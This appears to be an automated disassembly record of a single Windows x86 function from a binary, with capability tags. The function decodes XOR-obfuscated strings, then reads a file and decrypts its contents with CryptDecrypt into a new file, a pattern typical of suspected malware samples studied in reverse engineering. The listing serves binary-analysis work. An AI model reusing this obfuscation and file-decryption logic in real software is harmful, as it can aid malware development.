Function at 0x1001aec0
Capabilities:
Encode data using xor
Encrypt or decrypt via wincrypt
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
mov eax, dword [0x100f7040]
xor eax, esp
mov dword [esp + 0x58], eax
cmp dword [ecx + 0x18], 0x10
lea edx, [ecx + 4]
push ebx
push esi
push edi
jb 0x1001aee2
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001aee7
sub ecx, esi
push ecx
push edx
mov ecx, 0x100fb3d4
call fcn.10006fe0
mov esi, dword [0x100fb3e8]
mov edi, dword [0x100fb3ec]
mov ebx, dword [0x100fb3d8]
test esi, esi
je 0x1001b1d3
call fcn.10019a60
test al, al
jne 0x1001b1d3
mov dl, 0x52
mov dword [esp + 0x10], 0x21367c52
mov word [esp + 0x14], 0x26
xor ecx, ecx
xor byte [esp + ecx + 0x11], dl
inc ecx
cmp ecx, 4
jae 0x1001af46
mov dl, byte [esp + 0x10]
jmp 0x1001af36
lea edx, [esp + 0x11]
mov byte [esp + 0x15], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1001af52
sub edx, ecx
lea eax, [esp + 0x11]
push edx
cmp edi, 0xf
mov ecx, 0x100fb3d8
push eax
cmova ecx, ebx
mov edx, esi
push ecx
call fcn.10004a40
add esp, 0xc
cmp eax, 0xffffffff
je 0x1001b1d3
movaps xmm0, xmmword [0x100ef2b0]
xor ecx, ecx
push dword [0x100fafb8]
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0x15161647
mov dword [esp + 0x34], 0x8420379
mov dword [esp + 0x38], 0x525241
nop dword [eax]
mov al, byte [esp + ecx + 0x21]
xor al, byte [esp + 0x20]
mov byte [esp + ecx + 0x21], al
inc ecx
cmp ecx, 0x1a
jb 0x1001afb0
sub esp, 0x1c
mov byte [esp + 0x57], 0
mov edx, esp
lea ecx, [esp + 0x3d]
xorps xmm0, xmm0
lea esi, [ecx + 1]
mov dword [edx], 0
movups xmmword [edx + 4], xmm0
mov dword [edx + 0x14], 0
mov dword [edx + 0x18], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001aff0
sub ecx, esi
lea eax, [esp + 0x3d]
push ecx
push eax
mov ecx, edx
call fcn.10003370
lea eax, [esp + 0x58]
push eax
call fcn.1000d7c0
mov esi, eax
add esp, 0x24
cmp esi, 0x100fb3f0
je 0x1001b032
mov ecx, 0x100fb3f0
call fcn.10002f50
push esi
mov ecx, 0x100fb3f0
call fcn.10008460
lea ecx, [esp + 0x38]
call fcn.10002f50
mov eax, dword [esp + 0x38]
push 8
push eax
mov dword [esp + 0x40], 0
call fcn.10089370
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 8
cmp dword [0x100fb3ec], 0xf
mov eax, 0x100fb3d8
cmova eax, dword [0x100fb3d8]
push 0
push 0x80
push 3
push 0
push 3
push connect
push eax
call esi
cmp dword [0x100fb408], 0xf
mov ecx, 0x100fb3f4
push 0
cmova ecx, dword [0x100fb3f4]
mov edi, eax
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x2c], edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
mov dword [esp + 0x18], ebx
cmp edi, 0xffffffff
je 0x1001b1b7
cmp ebx, 0xffffffff
je 0x1001b1b3
lea eax, [esp + 0x58]
xor bl, bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
xor esi, esi
or esi, dword [esp + 0x58]
not esi
and esi, 1
add esi, 0x1f
push esi
call fcn.1009ff80
mov edi, eax
add esp, 4
test edi, edi
je 0x1001b1a5
push 0
lea eax, [esp + 0x58]
push eax
push 4
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001b129
push 0
lea eax, [esp + 0x58]
push eax
push dword [esp + 0x5c]
push edi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push 0
push edi
call fcn.1008c3c0
add esp, 0xc
mov dword [esp + 0x54], 0
nop dword [eax]
push 0
lea eax, [esp + 0x58]
push eax
push esi
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001b198
cmp dword [esp + 0x54], esi
mov eax, 1
movzx ebx, bl
cmovb ebx, eax
lea eax, [esp + 0x54]
push eax
push edi
push 0
push 1
push 0
push dword [0x100fafbc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1001b198
push 0
lea eax, [esp + 0x58]
push eax
push dword [esp + 0x5c]
push edi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test bl, bl
je 0x1001b140
push edi
call fcn.10091f90
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x18]
test edi, edi
je 0x1001b1ba
push edi
call esi
test ebx, ebx
je 0x1001b1ea
push ebx
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.100892c0
mov esp, ebp
pop ebp
ret
cmp edi, 0xf
mov eax, 0x100fb3d8
push esi
cmova eax, ebx
mov ecx, 0x100fb3f0
push eax
call fcn.10006fe0
mov ecx, dword [esp + 0x64]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100892c0
mov esp, ebp
pop ebp
ret